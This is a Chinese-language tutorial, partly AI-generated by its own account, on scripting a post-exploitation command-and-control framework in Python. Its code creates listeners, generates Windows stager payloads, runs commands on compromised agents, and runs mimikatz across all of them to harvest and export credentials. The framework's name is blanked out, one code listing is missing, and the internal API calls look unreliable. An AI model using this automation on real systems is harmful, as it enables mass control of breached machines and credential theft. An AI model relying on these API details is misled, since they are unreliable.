框架API调用实例:Python脚本与框架交互的编程指南
引言:为什么需要框架API?
你是否在渗透测试中遇到过需要自动化操作框架的场景?手动输入命令效率低下,重复性工作占用大量时间?本文将通过Python脚本与框架交互的实例,帮助你实现后渗透阶段的自动化操作,提升工作效率。读完本文后,你将能够编写Python脚本与框架进行交互,实现远程命令执行、会话管理等功能。
框架基本结构
框架是一个开源的Post-Exploitation框架,主要用于渗透测试后的操作阶段。其核心结构包括以下几个部分:
- Listeners(监听器):负责接收来自受控主机的连接
- Agents(代理):在目标主机上运行的代理程序,用于执行命令和回传结果
- Modules(模块):实现各种后渗透功能的模块集合
- Stagers(载荷生成器):生成用于在目标主机上植入代理的载荷
核心代码结构如下:
准备工作:安装与配置
安装框架
首先,通过以下命令克隆仓库并安装:
git clone https://gitcode.com/gh_mirrors/em/框架
cd 框架
sudo ./setup/install.sh
启动框架服务
安装完成后,启动框架服务:
./框架
框架API基础
框架本身没有提供正式的REST API,但我们可以通过以下两种方式与框架交互:
- 命令行接口:通过Python的
subprocess模块调用框架命令行 - 内部API:直接调用框架的内部Python API
本文将重点介绍第二种方式,直接调用内部API实现与框架的交互。
Python脚本与框架交互实例
1. 初始化框架
首先,我们需要在Python脚本中初始化框架的主控制器:
from lib.common.框架 import MainMenu
import sys
# 创建框架主菜单实例
framework = MainMenu(args=sys.argv[1:])
# 初始化数据库连接
framework.database_connect()
# 加载监听器、代理和模块
framework.agents = agents.Agents(framework)
framework.listeners = listeners.Listeners(framework)
framework.modules = modules.Modules(framework)
2. 创建监听器
以下代码演示如何创建一个HTTP监听器:
# 定义监听器参数
listener_params = {
'Name': 'http_listener',
'Type': 'http',
'Port': 8080,
'Host': '192.168.1.100'
}
# 创建监听器
framework.listeners.create_listener(listener_params)
# 启动监听器
framework.listeners.start_listener('http_listener')
# 检查监听器状态
active_listeners = framework.listeners.activeListeners
print(f"活跃监听器: {active_listeners}")
3. 生成Stager载荷
使用以下代码生成一个Windows可执行文件载荷:
# 设置Stager参数
stager_params = {
'Listener': 'http_listener',
'OutFile': '/tmp/框架_stager.exe',
'Language': 'powershell',
'Stager': 'windows/launcher_bat'
}
# 生成Stager
framework.stagers.generate_stager(stager_params)
print(f"Stager已生成: {stager_params['OutFile']}")
4. 管理代理会话
以下代码演示如何列出所有活跃代理并与指定代理交互:
# 获取所有活跃代理
agents = framework.agents.get_agents_db()
print(f"活跃代理数量: {len(agents)}")
# 列出代理信息
for agent in agents:
print(f"代理名称: {agent['name']}, 主机名: {agent['hostname']}, IP: {agent['external_ip']}")
# 与第一个代理交互
if agents:
agent_name = agents[0]['name']
# 执行命令
task_id = framework.agents.task_agent(agent_name, 'whoami')
# 获取命令结果
results = framework.agents.get_task_results(agent_name, task_id)
print(f"命令结果: {results}")
5. 使用模块
以下代码演示如何使用凭证收集模块:
# 搜索凭证收集模块
cred_modules = framework.modules.search_modules('credentials')
print(f"找到凭证模块: {len(cred_modules)}")
# 使用mimikatz模块
framework.modules.do_usemodule('credentials/invoke_mimikatz')
# 设置模块参数
framework.modules.set_module_option('Agent', agent_name)
# 执行模块
framework.modules.execute_module()
# 获取模块输出
output = framework.modules.get_module_output()
print(f"模块输出: {output}")
实际应用场景
场景一:批量执行命令
以下脚本实现对所有活跃代理批量执行命令:
def batch_execute_command(command):
"""对所有活跃代理执行命令"""
agents = framework.agents.get_agents_db()
results = {}
for agent in agents:
agent_name = agent['name']
print(f"在代理 {agent_name} 上执行命令: {command}")
# 执行命令
task_id = framework.agents.task_agent(agent_name, command)
# 等待结果
time.sleep(5)
# 获取结果
result = framework.agents.get_task_results(agent_name, task_id)
results[agent_name] = result
return results
# 批量执行命令
command_results = batch_execute_command('systeminfo')
# 打印结果
for agent, result in command_results.items():
print(f"\n===== {agent} =====")
print(result)
场景二:自动凭证收集与导出
import json
def collect_credentials():
"""从所有代理收集凭证并导出"""
agents = framework.agents.get_agents_db()
for agent in agents:
agent_name = agent['name']
print(f"在代理 {agent_name} 上收集凭证")
# 使用mimikatz模块
framework.modules.do_usemodule('credentials/invoke_mimikatz')
framework.modules.set_module_option('Agent', agent_name)
framework.modules.execute_module()
# 等待模块执行完成
time.sleep(10)
# 导出所有凭证
credentials = framework.credentials.get_credentials()
with open('credentials.json', 'w') as f:
json.dump(credentials, f, indent=4)
print(f"已导出 {len(credentials)} 条凭证到 credentials.json")
# 收集并导出凭证
collect_credentials()
注意事项与最佳实践
安全性考虑
- 加密通信:始终使用HTTPS监听器,避免敏感信息在传输过程中被拦截
- 权限控制:限制API访问权限,仅授权人员可使用自动化脚本
- 审计日志:记录所有API调用,便于事后审计和溯源
错误处理
在实际应用中,需要添加完善的错误处理机制:
try:
# 创建监听器
framework.listeners.create_listener(listener_params)
except Exception as e:
print(f"创建监听器失败: {str(e)}")
# 尝试清理
if 'http_listener' in [l[1] for l in framework.listeners.activeListeners]:
framework.listeners.stop_listener('http_listener')
性能优化
- 异步操作:对于大量代理,使用异步方式执行命令
- 结果缓存:缓存模块执行结果,避免重复执行
- 批量处理:对类似操作进行批量处理,减少框架交互次数
总结与展望
通过本文介绍的方法,你可以使用Python脚本与框架进行交互,实现后渗透阶段的自动化操作。这种方式不仅可以提高工作效率,还可以实现更复杂的后渗透工作流。
未来,你可以进一步探索:
- 构建Web界面管理框架
- 实现基于机器学习的异常行为检测
- 开发自定义模块扩展框架功能
希望本文对你有所帮助,祝你在渗透测试工作中取得更好的成果!
参考资料
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考



